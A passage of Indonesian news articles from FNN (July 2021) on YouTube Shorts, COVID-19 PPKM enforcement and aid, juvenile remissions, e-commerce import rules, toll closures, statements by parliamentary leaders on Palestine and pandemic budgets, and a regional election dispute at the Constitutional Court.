YouTube juga mempermudah pengguna menghadirkan beberapa cuplikan Shorts di bagian beranda pengguna sehingga banyak konten tidak hanya konten berdurasi panjang maupun pendek dapat dengan mudah diakses oleh pengguna. Dengan cara ini, tidak hanya kreativitas dan kebutuhan kreator yang tertampung tapi juga keinginan penonton dalam mengakses hiburan lebih mudah terpenuhi. Pada saat anda menyaksikan tayangan #shorts, anda juga bisa terhubung secara langsung dengan video- video terkait yang memiliki latar audio yang sama. Sebagai contoh ketika anda sedang mengakses video Shorts dari akun BANGTANTV, anda bisa terhubung melihat video- video lainnya yang menggunakan audio dari akun tersebut. Selain itu anda juga bisa melihat bentuk video lainnya seperti video klip panjang sehingga tidak terbatas dengan hasil pencarian bentuk video yang pendek. Tentunya pengalaman ini bisa membantu anda baik sebagai reator maupun penonton bisa memiliki banyak pengetahuan. “Kami ini ingin membuat wadah konten yang seamless. Jadi ada video panjang, video pendek, lalu mau berkreasi atau mau menonton itu tentunya tetap bisa dilakukan. Itu yang membedakan YouTube dengan platform lain, kami tentu berkomitmen untuk terus menyempurnakan produk kami,”kata Vero. Di awal bulan Juli 2021, YouTube Shorts sudah ditonton 6,5 miliar kali setiap harinya di seluruh dunia. Shorts akan diintegrasikan ke pengalaman YouTube yang sudah Anda kenal dan sukai. YouTube Shorts akan bersaing dengan aplikasi sejenis yang digemari di Indonesia seperti TikTok dan Reels milik Instagram. (mth)

Penegakan Aturan PPKM Kedepankan Humanisme sambil Membangun Empati

Semarang FNN - Penegakan aturan pemberlakuan pembatasan kegiatan masyarakat (PPKM) harus secara tegas namun tetap mengedepankan humanisme (kemanusiaan). Di tambah lagi, petugas dan masyarakat perlu saling berempati. Petugas PPKM juga harus merasai bahwa masyarakat yang mencari nafkah di tengah pandemi Coronavirus Disease 2019 (Covid-19) untuk kebutuhan hidup keluarganya sehari-hari. Hal lain yang tidak kalah pentingnya agar tumbuh kesadaran diri setiap anak bangsa terkait dengan kepatuhan terhadap aturan PPKM adalah penegakan hukum yang tidak tebang pilih. Siapa pun pelanggar harus ditindak tegas tanpa kecuali. Sebaliknya, mereka yang mencari nafkah dengan berdagang juga harus menyadari akan tugas aparat kepolisian, TNI, satuan polisi pamong praja (satpol PP), dan personel lain yang tergabung dalam tim penegakan aturan PPKM. Mereka bertugas demi mencegah penularan virus corona di tengah peningkatan angka kasus Covid-19 di sejumlah daerah. Di lain pihak, Pemerintah juga perlu memperhitungkan anggaran untuk keperluan masyarakat di suatu daerah, baik PPKM Level 4 maupun PPKM berbasis mikro. Pemenuhan kebutuhan masyarakat sebagai konsekuensi penerapan Undang-Undang Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan. Pada hari Selasa (20/7) atau bertepatan pada Hari Raya Kurban 2021, Menteri Dalam Negeri meneken Inmendagri Nomor 22 Tahun 2021 tentang PPKM Level 4 Covid-19 di Wilayah Jawa dan Bali. Pada hari yang sama, Muhammad Tito Karnavian juga menandatangani Inmendagri No. 23/2021 tentang Perpanjangan PPKM Berbasis Mikro dan Mengoptimalkan Posko Penanganan Covid-19 di Tingkat Desa dan Kelurahan untuk Pengendalian Penyebaran Covid-19. Setelah ada aturan PPKM tersebut, pemerintah pusat dan pemerintah daerah wajib memberi kebutuhan hidup dasar orang dan makanan hewan ternak di wilayah karantina selama karantina wilayah berlangsung (Pasal 55). Apalagi, setiap orang mempunyai hak memperoleh perlakuan yang sama dalam penyelenggaraan kekarantinaan kesehatan (Pasal 7). Pasal 8 UU Kekarantinaan Kesehatan menegaskan bahwa setiap orang mempunyai hak mendapatkan pelayanan kesehatan dasar sesuai dengan kebutuhan medis, kebutuhan pangan, dan kebutuhan kehidupan sehari-hari lainnya selama karantina. Hal ini perlu menjadi bahan evaluasi ketika Pemerintah akan memperpanjang masa PPKM di suatu daerah. Meski di dua instruksi Menteri Dalam Negeri (inmendagri) itu tidak menggunakan istilah "wilayah karantina" atau menggunakan frasa "PPKM Level 4" (Inmendagri No. 22/2021) dan "PPKM berbasis mikro" (Inmendagri No. 23/2021), bagi pelanggar terancam sanksi UU Kekarantinaan Kesehatan. Ancaman sanksi ini diatur dalam Pasal 93 UU Kekarantinaan Kesehatan. Setiap orang yang tidak mematuhi penyelenggaraan kekarantinaan kesehatan dan/atau menghalang-halangi penyelenggaraan kekarantinaan kesehatan sehingga menyebabkan kedaruratan kesehatan masyarakat, terancam pidana penjara paling lama 1 tahun dan/atau pidana denda paling banyak Rp100 juta. Pelanggar aturan PPKM juga terancam sanksi sebagai ketentuan di dalam Kitab Undang-Undang Hukum Pidana (KUHP) Pasal 212 sampai dengan Pasal 218; Undang-Undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular; dan peraturan daerah, peraturan kepala daerah; serta ketentuan peraturan perundang-undangan lainnya yang terkait. Risiko Pedagang Tidak hanya pemerintah, petugas PPKM, dan para pedagang yang harus mempunyai empati, tetapi juga pembeli. Mereka perlu pula tahu akan risiko para pemilik warung/kafe yang membiarkan mereka makan di tempat, apalagi ketentuan ini terdapat di dua inmendagri itu. Ditegaskan dalam aturan PPKM bahwa pelaksanaan kegiatan makan/minum di tempat umum (warung makan, rumah makan, kafe, pedagang kaki lima, dan lapak jajanan), baik yang berada pada lokasi tersendiri maupun yang berlokasi pada pusat perbelanjaan/mal hanya menerima delivery/take away dan tidak menerima makan di tempat (dine-in). Gegara pembeli makan di tempat, seorang tukang bubur di Kota Tasikmalaya divonis hakim dengan putusan denda Rp5 juta atau subsider 5 hari kurungan penjara pada hari Selasa (6/7) karena terbukti melanggar Pasal 34 Ayat (1) juncto Pasal 21 I Ayat (2) huruf f dan g Peraturan Daerah (Perda) Provinsi Jawa Barat Nomor 5 Tahun 2021. Di dalam Perda Provinsi Jabar No. 5/2021 Pasal 34 (1) acaman pidana kurungan paling lama 3 bulan atau pidana denda paling sedikit Rp5 juta dan paling banyak Rp50 juta. Tidak hanya tukang bubur yang dikenai sanksi, sebagaimana diatur dalam perda tersebut, seorang pemilik kedai kopi di Tasikmalaya juga dikenai denda. Namun, yang bersangkutan memilih menjalani hukuman penjara selama 3 hari ketimbang membayar denda Rp 5 juta karena melanggar PPKM darurat. Pengadilan Negeri Tasikmalaya pada hari Selasa (13/7) menjatuhkan hukuman tersebut karena pemilik kedai kopi terbukti melanggar aturan PPKM darurat, yakni buka melebihi batas waktu pukul 20.00 WIB. Penegakan hukum ini tidak lain bertujuan agar pelaku maupun orang lain tidak melakukan perbuatan yang sama. Apalagi, data Satuan Tugas Penanganan Covid-19 menunjukkan kasus harian terkonfirmasi positif pada hari Kamis (22/7) pukul 12.00 WIB bertambah 49.509 orang sehingga secara akumulasi mencapai 3.033.339 kasus. Seiring dengan peningkatan angka kasus Covid-19 di tengah PPKM ini, seyogianya semua elemen bangsa ini perlu merasakan apa yang orang lain rasakan, baik dalam posisi sebagai penentu kebijakan, petugas PPKM, pedagang, maupun pembeli. Di lain pihak, mereka juga harus berempati terhadap tenaga medis, baik yang bertugas di rumah sakit (RS) maupun pusat kesehatan masyarakat (puskesmas). Mereka berjuang demi kesembuhan pasien Covid-19 di Tanah Air. Bahkan, bisa jadi selama pandemi ini mereka lebih sering di RS ketimbang berkumpul suami/istri dan anaknya. Kepatuhan terhadap protokol kesehatan ini menunjukkan kepedulian terhadap sesama anak bangsa, terlebih pada masa depan generasi muda. Masa rela membiarkan anak-anak belajar secara daring (online) terus-menerus tanpa mengenal secara fisik teman-temannya. Khusus bagi pembuat hoaks, janganlah menginformasikan hal-hal yang menyesatkan publik. Apakah kalian tidak kasihan terhadap anak-anak yang kini sedang belajar di sekolah dasar (SD) atau sederajat, sekolah menengah pertama (SMP) atau sederajat, maupun sekolah menengah atas (SMA) atau sederajat. Setop hoaks di tengah pandemi Covid-19. (sws

Lapas Anak Kendari Remisi 28 Anak Binaan saat Hari Anak Nasional

Kendari FNN - Lembaga Pemasyarakatan Khusus Anak (LPKA) Kelas II Kendari, Provinsi Sulawesi Tenggara (Sultra), memberikan remisi atau pengurangan masa hukuman kepada 28 anak warga binaan pada Peringatan Hari Anak Nasional 2021. Kepala LPKA Kendari Akbar Amnur melalui selulernya di Kendari, Jumat, mengatakan pemberian remisi kepada warga binaan berdasarkan Surat Keputusan Menteri Hukum dan HAM RI Nomor: PAS-774.PK.01.01.02 Tahun 2021 tanggal 23 Juli 2021. "Di momen Hari Anak Nasional 2021 ini, warga binaan di LPKA Kendari yang mendapat remisi sebanyak 28 anak," katanya. Ia menyebut dari 28 anak yang mendapat remisi, satu orang di antaranya langsung dinyatakan bebas karena masa pidananya telah selesai akibat pengurangan dari remisi, sementara 27 anak lainnya masih memiliki masa pidana yang harus dijalani. "Ada satu anak yang langsung mendapat remisi bebas dan sudah dibebaskan langsung tadi, 27 lainnya masih menjalani sisa masa hukumannya," jelasnya. Dari jumlah tersebut, sebanyak 25 orang mendapat remisi satu bulan, dua orang mendapat remisi dua bulan dan satu orang mendapat remisi tiga bulan. Khusus bagi anak binaan yang dinyatakan bebas langsung setelah mendapat remisi, Akbar, meminta agar tidak kembali melakukan pelanggaran hukum dan menjadi anak yang baik ke depanya. "Kita harapkan anak yang bebas di Hari Anak Nasional ini, bisa menjadi anak lebih baik, dan kembali di tengah-tengah masyarakat tidak melakukan hal-hal yang melanggar hukum lagi," harapnya.(sws)

Kakorlantas Bagikan Sembako bagi Pemulung di Cakung Terdampak PPKM

Jakarta FNN - Kepala Korps Lalu Lintas (Kakorlantas) Polri Irjen Pol Istiono membagikan 450 sembako bagi pemulung yang berada di kawasan Pulogadung, Cakung, Jakarta Timur, yang terdampak pemberlakuan pembatasan kegiatan masyarakat (PPKM) Level 4. Kakorlantas Polri Irjen Pol Istiono dalam keterangannya di Jakarta, Jumat, menyebutkan selain memberikan paket sembako, pihaknya juga memastikan masyarakat di sekitar sudah divaksinasi COVID-19. “Hari ini, kami secara bersama-sama melaksanakan baksos di daerah Pulogadung, untuk para teman-teman masyarakat pemulung. Kami bagikan kurang lebih sebanyak 450 sembako,” katanya. Irjen Pol Istiono mengatakan dirinya bersama dengan tokoh masyarakat Muhammadiyah dan Barisan Ansor Serbaguna (Banser) Nahdlatul Ulama (NU), dan teman-teman BRI melaksanakan bakti sosial (Baksos) untuk masyarakat pemulung. Lebih lanjut, dia menjelaskan berdasarkan pantauan di lapangan, masyarakat yang ada di kawasan tersebut dalam kondisi sehat. “Kami juga menanyakan tentang kesehatan mereka, apakah sudah divaksin atau belum, dan rata-rata mereka sudah divaksin. Serta, semuanya dalam kondisi sehat walafiat,” katanya. Sementara, Ketua Umum Pemuda Muhammadiyah Sunanto mengapresiasi kegiatan Kakorlantas dalam meringankan beban masyarakat di masa pandemi COVID-19 ini. Dirinya berharap semoga upaya kali ini bisa meringankan masyarakat yang terdampak pandemi. “Semoga upaya ini bisa meringankan beban masyarakat di tengah proses Pandemi COVID-19 dan menjadi edukasi masyarakat. Pandemi COVID-19 ini perlu dihadapi dengan semangat dan tetap mematuhi protokol kesehatan,” kata Sunanto atau yang biasa dipanggil Cak Nanto Kepala Banser NU DKI Jakarta Abdul Mupid, mengatakan Banser sangat merespon kegiatan yang dilakukan oleh Kapolri yang kali ini dihadiri Kakorlantas. Karena, menurutnya kegiatan tersebut sangat membantu masyarakat di masa PPKM. “Dan betul-betul bisa merespon imunitas masyarakat, yang paling penting sosialisasi yang dilakukan Polri dan masyarakat, serta unsur ormas lain untuk mensosialisasikan vaksin yang bisa menyelesaikan masalah COVID-19,” ucap Mufid Salah seorang dari masyarakat penerima bantuan sembako Siti Rachmawati mengucapkan terima kasih atas bantuan yang telah diberikan. Menurutnya bantuan tersebut bisa meringankan beban mereka sebagai rakyat kecil. “Saya senang sekali bisa mendapat bantuan seperti ini. Bantuan ini bisa meringankan kami, sebagaimana kami adalah rakyat kecil,” kata dia. Terakhir, dia berharap semoga PPKM bisa segera berakhir, begitu juga dengan COVID-19 agar masyarakat Indonesia bisa kembali sehat dan hidup normal seperti biasa. “Insya Allah, mudah-mudahan PPKM dan COVID-19 bisa cepat berakhir, agar anak dan masyarakat Indonesia bisa sehat semuanya,” ujarnya.(sws)

Pemerintah Siapkan Regulasi Blokir Produk UMKM Impor Via Lokapasar

Jakarta, FNN - Pemerintah melalui Kementerian Koperasi dan UKM, Kementerian Perdagangan, serta Kementerian Komunikasi dan Informatika menyiapkan regulasi untuk memblokir produk UMKM asing yang diimpor melalui marketplace atau lokapasar daring sebagai bentuk perlindungan kepada produk UMKM dalam negeri. "Kami dari Kemenkop-UKM, Kementerian Perdagangan, dan Kemenkominfo ditugaskan untuk menyiapkan regulasi, jangan sampai adalagi kasus-kasus terutama di platform crossborder yang melakukan dumping produk-produk UMKM impor yang masuk ke market digital nasional dan memukul UMKM kita," kata Menteri Koperasi dan UKM Teten Masduki dalam diskusi daring mengenai Akselerasi Digitalisasi UMKM di Jakarta, Jumat. Teten mengatakan pemerintah telah menegur pengelola lokapasar yang melakukan impor produk UMKM asing ke pasar Indonesia. Meskipun respons pengelola lokapasar tersebut mengikuti arahan pemerintah, pihaknya akan tetap mengeluarkan regulasi untuk mengatur sistem perdagangan elektronik secara daring. Menurut Teten, serbuan produk impor yang bisa masuk ke Indonesia hanya melalui lokapasar daring dapat mematikan produk UMKM Indonesia. Terlebih lagi pemerintah saat ini sedang melaksanakan program digitalisasi UMKM, yaitu memasukkan produk-produk UMKM ke ekosistem digital di berbagai lokapasar daring untuk meningkatkan penjualan dan pengembangan usaha. Berdasarkan survei Bank Indonesia yang dilakukan kepada 2.970 responden UMKM yang mayoritas adalah kelompok usaha mikro dan kecil, sebanyak 88 persen pelaku UMKM terdampak oleh pandemi COVID-19. Sementara 12 persen dari responden bisa bertahan di tengah pandemi karena sudah masuk ke dalam ekosistem pemasaran digital. Bahkan dari 12 persen yang bertahan tersebut, sekitar 27 persen di antaranya mengalami peningkatan penjualan saat pandemi COVID-19. Teten menyebutkan saat ini sebanyak 13,5 juta pelaku UMKM atau sekitar 20 persen dari total UMKM telah masuk ke dalam ekosistem digital. Pemerintah menargetkan sebanyak 30 juta UMKM masuk ke dalam ekosistem pemasaran digital pada tahun 2024. Menkop UKM menegaskan perlu adanya kolaborasi dan sinergi dari berbagai pemangku kepentingan untuk meningkatkan jumlah pelaku UMKM yang masuk ke ekosistem digital. "Artinya setiap tahun kami harus menyiapkan 5 juta UMKM masuk ke ekosistem digital. Dan itu artinya kami harus mendampingi usaha mikro yang punya potensi berjualan di online. Harus 5 juta setahun ini tidak bisa sendiri, semua harus bergerak karena besar sekali effort yang harus dilakukan," kata Teten. Teten mengatakan pemerintah berfokus untuk meningkatkan kinerja UMKM Indonesia karena kontribusinya yang cukup signifikan terhadap PDB Indonesia. Dia menyebut pemulihan ekonomi UMKM dalam situasi pandemi COVID-19 menjadi sangat penting karena sektor UMKM mampu berkontribusi terhadap penyerapan tenaga kerja sebanyak 97 persen. (mth)

Polda Jawa Tengah Perpanjang Penutupan 27 Pintu Keluar Tol Jateng

Solo FNN - Direktur Lalu Lintas (Dirlantas) Polda Jawa Tengah Kombes Pol Rudy Syafirudin menyebutkan pihaknya telah memperpanjang penutupan 27 titik pintu keluar tol di wilayah Jateng hingga 25 Juli 2021. Kebijakan tersebut sesuai hasil rapat yang dipimpin oleh Menko Maritim dan Investasi Jenderal TNI (Purn) Luhut Binsar Pandjahitan, pada masa pemberlakuan pembatasan kegiatan masyarakat (PPKM) level IV pintu keluar tol ditutup selama lima hari atau hingga tanggal 25 Juli, kata Dirlantas, melalui rilisnya yang diterima, di Solo, Jateng, Jumat. "Ada 27 pintu gerbang keluar tol di Jateng yang ditutup diperpanjang waktunya hingga 25 Juli mendatang," kata Dirlantas. Dirlantas mengatakan cara penindakan tetap sama, seperti yang dilaksanakan sebelumnya pada 16 hingga 22 Juli dan kini diperpanjang hingga 25 Juli mendatang. Untuk kendaraan baik sektor esensial maupun kritikal diperlakukan sama. Dirlantas menjelaskan pihaknya akan memberlakukan sama, baik untuk ensesial dan kritikal, apabila tidak bisa menunjukkan surat keterangan kerja dari masing-masing kantornya dan tidak ada surat antigen atau PCR hasil negatif serta ditambah surat vaksin, maka kendaraan akan diputar balik. "Kami tidak bisa memberikan izin masuk yang bersangkutan tanpa dilengkapi surat surat yang dimaksud. Kendaraan akan diputar balikan," katanya. Dia menjelaskan sebanyak 27 pintu keluar tol di Jateng akan dijaga dari seluruh anggota baik Satuan Brimob, Samapta dan satuan lainnya akan membantu dalam pelaksanaannya. Pelaksanaan berjalan sesuai yang diharapkan hingga Jumat ini jumlah kendaraan yang sudah diputar balikan karena tidak bisa menunjukan surat yang dimaksud, hampir 62.000 kendaraan se-Jateng. Kendati demikian, pihaknya mengimbau masyarakat khususnya para pekerja tolong lengkapi surat-suratnya selengkap-lengkapnya selama masa PPKM. Sehingga, memudahkan petugas dalam melaksanakan dalam kegiatan pengecekan nanti. Selain itu, pihaknya juga berharap para sopir truk yang memuat bahan-bahan ensesial dan kritikal meminta kepada kepada petugas untuk dipasang stiker warna biru dan merah sehingga saat pemeriksaan tidak diperiksa lagi oleh anggota.(sws)

MPR: Indonesia Konsisten Perjuangkan Kemerdekaan Palestina

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo menegaskan bahwa bangsa Indonesia secara konsisten mendukung perjuangan bangsa Palestina untuk memperoleh kemerdekaan dan kedaulatannya secara penuh. Dukungan itu, kata Bamsoet di Jakarta, jumat, ditunjukkan melalui berbagai forum Perserikatan Bangsa-Bangsa (PBB), Organisasi Konferensi Islam (OKI), dan Gerakan Non-Blok (GNB). Indonesia pun secara konsisten berpegang teguh pada amanah konstitusi yang menentang berbagai bentuk penjajahan di muka Bumi. Ditegaskan pula bahwa dukungan Indonesia kepada Palestina merupakan amanat konstitusi dan berada di jantung politik luar negeri Indonesia. "Oleh karena itu, pemerintah Indonesia terus berkomitmen untuk mendukung perjuangan kemerdekaan bangsa Palestina dan menempatkan isu ini sebagai salah satu isu prioritas kebijakan luar negeri Indonesia," kata Bamsoet dalam keterangannya. Hal itu dikatakan Bamsoet saat menerima komunikasi telepon dari Ketua Parlemen Turki Mustafa Sentop pada hari Jumat. Ia mengemukakan bahwa bangsa Indonesia melihat akar masalah konflik Israel dan Palestina adalah penjajahan yang belum berakhir dan konflik di Palestina merupakan perang asimetris antara penjajah dan pihak yang dijajah. Menurut dia, eskalasi kekerasan di Palestina dan Israel di pertengahan Mei 2021 yang dipicu pengusiran paksa di wilayah Sheikh Jarrah oleh Israel merupakan contoh manifestasi penjajahan dan perampasan hak-hak rakyat Palestina oleh pihak Israel. "Dalam peristiwa tersebut, lebih dari 270 warga Palestina menjadi korban jiwa, termasuk 70 di antaranya anak-anak," kata Bamsoet. Menurut Bamsoet, masalah perbatasan dan pemukiman ilegal selama ini merupakan konflik Israel dan Palestina yang harus segera dipecahkan. Selama ini, kata dia, Israel telah melakukan creeping annexation yang berjalan selama bertahun-tahun. Oleh karena itu, Indonesia menolak permukiman Israel di Tepi Barat karena bertentangan dengan Resolusi Dewan Keamanan (DK) PBB. "Khususnya, Resolusi 2334 dan kesepakatan internasional lainnya yang menyatakan pembangunan permukiman Israel di Tepi Barat sebagai tindakan ilegal," katanya. Dalam setiap kesempatan, kata Bamsoet, Indonesia selalu menyuarakan dukungan terhadap two-state solution berdasarkan sejumlah Resolusi PBB dan parameter internasional yang disepakati bersama. Selain itu, lanjut dia, Indonesia juga senantiasa menekankan perlunya sikap berimbang dari masyarakat internasional dalam membantu Palestina dan mendorong proses perdamaian. "Termasuk mencegah aneksasi dan pemukiman ilegal oleh Israel. Serta mendorong penyaluran bantuan kemanusiaan kepada Palestina, khususnya di tengah pandemi COVID-19 seperti sekarang ini," katanya.(sws)

Ketua DPR: Anggaran Penanganan COVID-19 juga untuk Lindungi Anak

Jakarta FNN - Ketua DPR RI Puan Maharani mendorong pemerintah mempercepat realisasi belanja anggaran penanganan COVID-19, salah satunya untuk perlindungan anak-anak Indonesia yang terdampak pandemi. "Anak-anak adalah salah satu kelompok yang paling rentan dalam pandemi mulai dari mereka yang terinfeksi langsung, ditinggal wafat orang tua, sampai mereka yang belajarnya terganggu karena pandemi," kata Puan dalam keterangannya di Jakarta, Jumat. Hal itu dikatakannya terkait dengan peringatan Hari Anak Nasional yang diperingati setiap tanggal 23 Juli. Puan meminta pemerintah harus memberi perhatian khusus terhadap anak-anak melalui serapan anggaran yang dipergunakan untuk melindungi anak-anak Indonesia dari dampak COVID-19. Ia menilai perlindungan itu bisa dalam bentuk bantuan alat belajar daring, santunan, atau beasiswa bagi anak-anak yang ditinggal wafat orang tua mereka. "Terlebih jika orang tua mereka adalah salah satu tenaga kesehatan yang gugur karena berjuang di garda depan menghadapi pandemi ini," ujarnya. Menurut dia, anggaran negara penanganan COVID-19 memang penting untuk penanggulangan masalah kesehatan dan ekonomi rakyat terdampak pandemi. Namun, belanja untuk perlindungan anak juga hal yang tidak kalah penting. "Berbicara anak-anak Indonesia hari ini adalah bicara nasib bangsa ke depan. Kalau anak-anak Indonesia hari ini banyak yang putus sekolah dan depresi karena pandemi dan menjadi yatim piatu, bangsa ini yang akan menerima dampaknya 20 atau 30 tahun ke depan," katanya. Mantan Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Menko PMK) itu mengingatkan jangan sampai ada lost generation karena pendidikan anak-anak Indonesia saat ini terganggu akibat pendemi. Puan menjelaskan bahwa perlidungan terhadap anak-anak Indonesia juga selalu ditekankan Bung Karno di awal-awal berdirinya Republik, bahkan sang Proklamator sempat membuat puisi untuk anak-anak Indonesia. Ia lantas mengutip puisi "Aku Melihat Indonesia" karya Bung Karno, yaitu "Jikalau aku melihat matanya rakyat Indonesia di pinggir jalan. Apalagi sinar matanya anak-anak kecil Indonesia. Aku sebenarnya melihat wajah Indonesia".(sws)

MPR: Wujudkan Indonesia Emas Butuh Dukungan Lingkungan Kondusif

Jakarta FNN - Ketua MPR RI Bambang Soesatyo mengatakan upaya mewujudkan visi Indonesia Emas membutuhkan dukungan kondisi lingkungan yang kondusif, seperti ketahanan nasional yang tangguh, stabilitas nasional yang terpelihara tanpa mereduksi nilai-nilai demokrasi. "Selain itu, juga perbaikan tata kelola pemerintahan yang transparan dan akuntabel sebagai sistem penopang pembangunan nasional," kata Bambang Soesatyo saat membuka secara virtual Munas Ke-2 Majelis Umat Kristen Indonesia (MUKI) di Jakarta, Jumat. Bamsoet mengatakan bahwa Munas Ke-2 MUKI bertema "Menyongsong Indonesia Emas" mengingatkan pada sebuah visi kebangsaan, "Indonesia Emas 2045". Menurut dia, dalam visi kebangsaan itu menggariskan empat poin penting, yaitu pembangunan manusia dan penguasaan ilmu pengetahuan dan teknologi, pembangunan ekonomi yang berkelanjutan, pemerataan pembangunan, serta pemantapan ketahanan nasional dan tata kelola pemerintahan. "Visi tersebut menempatkan manusia sebagai subjek sekaligus objek pembangunan, dan mensyaratkan penguasaan ilmu pengetahuan dan teknologi sebagai sarana untuk meraih keberhasilan," ujarnya. Ia mengatakan bahwa visi Indonesia Emas hanya bisa diwujudkan melalui pembangunan, yaitu proses perubahan menuju perbaikan dan kemajuan. Menurut dia, sebagai sebuah pembangunan memerlukan input sumber daya yang memadai, kinerja yang efektif dan efisien, untuk mendapatkan hasil output yang berkualitas sehingga memberikan dampak yang optimal. Badan Pusat Statistik (BPS) memperkirakan pada tahun 2045 jumlah penduduk Indonesia mencapai 319 juta jiwa, sebanyak 70 persen di antaranya atau sebanyak 223 juta jiwa adalah kelompok usia produktif dalam jenjang usia antara 25 hingga 65 tahun. "Artinya, pada era Indonesia Emas, bangsa Indonesia masih akan menikmati periode puncak bonus demografi," katanya. Menurut dia, tidak semua negara sukses memanfaatkan fase bonus demografi sehingga Indonesia harus memanfaatkan bonus demokrafi tersebut sehingga menghasilkan generasi yang berhati Indonesia dan berjiwa Pancasila. Ia berpendapat bahwa karakteristik generasi emas itu juga tercermin dari subtema Munas Ke-2 MUKI, yaitu generasi yang mau berkomitmen dan berjuang bersama segenap komponen bangsa, untuk mewujudkan Indonesia unggul, dengan menjunjung tinggi sikap dan perilaku yang menegakkan kasih, kebenaran, keadilan, dan kesetaraan. Dalam penyelenggaraan Munas Ke-2 MUKI, kata dia, juga harus menyadari regenerasi kepengurusan adalah sebuah keniscayaan dalam kehidupan setiap organisasi, dan menjadi siklus periodik yang lazim sekaligus menjadi penanda bahwa roda organisasi bergerak dan berkembang secara sehat dan demokratis. Bamsoet juga mengapresiasi MUKI sebagai organisasi umat kristiani yang senantiasa mendorong terwujudnya harmoni dalam kehidupan bermasyarakat, berbangsa, dan bernegara. Selain itu, dia juga menilai MUKI mengedepankan pendekatan dialog dan kerja sama atas dasar kasih, kebenaran, keadilan, dan kesetaraan, sebagaimana tercermin dalam visi organisasi. Hadir dalam acara tersebut, antara lain Inspektur Jenderal Kementerian Dalam Negeri (Kemendagri) Tumpak Haposan Simanjuntak, Ketua Dewan Penasehat MUKI Nurdin Tampubolon, Ketua Dewan Pengawas MUKI Laksma (Purn) Bonar Simangunsong, Ketua Umum MUKI Djasarmen Purba, dan Ketua Panitia Munas MUKI Sortaman Saragih. (sws)

MPR: Tegur Kepala Daerah Belum Realisasikan Dana Penanganan COVID-19

Jakarta FNN- Ketua MPR RI Bambang Soesatyo meminta pemerintah khususnya Kementerian Dalam Negeri (Kemendagri) menegur sejumlah kepala daerah yang belum merealisasikan anggaran untuk penanganan COVID-19. "Saya meminta Mendagri untuk memberikan klarifikasi mengenai kendala rendahnya penyerapan anggaran untuk penanganan COVID-19 di beberapa daerah dan menegur sejumlah kepala daerah yang belum merealisasikan anggaran penanganan COVID-19," kata Bambang Soesatyo atau Bamsoet dalam keterangannya di Jakarta, Jumat. Dia mengatakan, diharapkan dengan adanya teguran tersebut kepala daerah dapat segera merealisasikan anggarannya untuk penanganan COVID-19 di daerah masing-masing. Menurut dia, pemerintah daerah (pemda) khususnya di daerah yang masih rendah penyerapan anggarannya, untuk menyampaikan permasalahan yang menjadi kendala dalam merealisasikan anggaran penanganan COVID-19. "Pemerintah pusat juga harus berupaya memberikan solusi terbaik dari masalah yang dihadapi pemda tersebut. Karena masalah anggaran tersebut juga berimplikasi kepada insentif tenaga kesehatan yang berjuang di baris terdepan dalam penanganan COVID-19," ujarnya. Politisi Partai Golkar itu meminta pemerintah pusat bekerja sama dengan pemda untuk meningkatkan koordinasi dan bersinergi. Langkah perbaikan koordinasi tersebut menurut dia diharapkan dapat menghasilkan solusi dalam penanganan COVID-19 di tiap daerah. "Karena penanganan pandemi membutuhkan kerja keras dan kerja sama antara pusat dan daerah. Selain itu Kemenkeu untuk dapat mengevaluasi setiap penyerapan anggaran di masing-masing daerah, sehingga dapat terpantau penyerapan anggaran terutama untuk penanganan COVID-19 di seluruh daerah," katanya. Bamsoet juga meminta komitmen pemerintah daerah untuk mempercepat realisasi anggaran penanganan COVID-19 dan secara cermat merumuskan semua kebutuhan dan menyusun anggaran agar seluruh program pemerintah dalam penanganan pandemi berjalan lancar sesuai target. (sws)

Eksepsi KPU Kalsel: MK Tak Berwenang Periksa Gugatan Sengketa Pilgub

Jakarta, FNN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan menyebut Mahkamah Konstitusi (MK) tidak berwenang memeriksa permohonan Perselisihan Hasil Pemilihan Gubernur (sengketa Pilgub) Kalsel hasil pemungutan suara ulang (PSU). “Menurut kami mahkamah tidak berwenang memeriksa permohonan,” kata kuasa hukum KPU Kalsel Hifdzil Alim saat membacakan jawaban termohon dalam sidang sengketa Pilgub Kalsel di gedung MK Jakarta, Jumat. Hal itu berdasarkan Pasal 2 Peraturan MK Nomor 6 Tahun 2020 tentang Tata Beracara Dalam Perkara Perselisihan Hasil Pemilihan Gubernur, Bupati, Dan Walikota yang menjelaskan objek dalam perkara perselisihan hasil pemilu, serta dalil pemohon yakni kubu Denny Indrayana dan Difriadi dalam sidang pada Rabu (21/7). Mengacu pada dalil pemohon, Hifdzil mengatakan bahwa dalil-dalil itu lebih dikategorikan sebagai pelanggaran pemilu, bukan perselisihan hasil pemilu. Menurut Hifdzil, perihal-perihal yang disampaikan pemohon, yakni politik uang, dugaan oknum birokrasi dan aparat desa di seluruh kecamatan yang menyelenggarakan PSU yang dimanfaatkan, hingga intimidasi serta premanisme masuk dalam kriteria Pasal 73 UU Nomor 10 Tahun 2016 yang mengatur pemilihan gubernur, bupati, dan walikota. Hifdzil juga menyebut pemohon tidak memiliki kedudukan hukum karena persentase selisih perolehan suara dinilai tidak memenuhi syarat. Selain itu, katanya, permohonan pasangan Denny Indrayana dan Difriadi tidak jelas karena persidangan seharusnya memeriksa hasil pemilu, bukan politik uang seperti yang telah didalilkan. MK hari ini menggelar sidang sengketa Pilgub Kalsel dengan agenda sidang yaitu jawaban pihak termohon, yakni KPU Kalsel, pihak terkait dan pihak pemberi keterangan yaitu Bawaslu serta pengesahan alat bukti para pihak. Sebelumnya, sidang pendahuluan sengketa Pilgub Kalsel telah digelar di MK pada Rabu (21/7) lalu. Selain menyampaikan dalil permohonan, kubu Denny Indrayana–Difriadi menyertakan 610 alat bukti berupa kesaksian, empat telepon seluler, rekaman suara serta dokumen-dokumen pendukung. (mth)

Kirab Obor Olimpiade Berakhir di Tokyo Sebelum Upacara Pembukaan

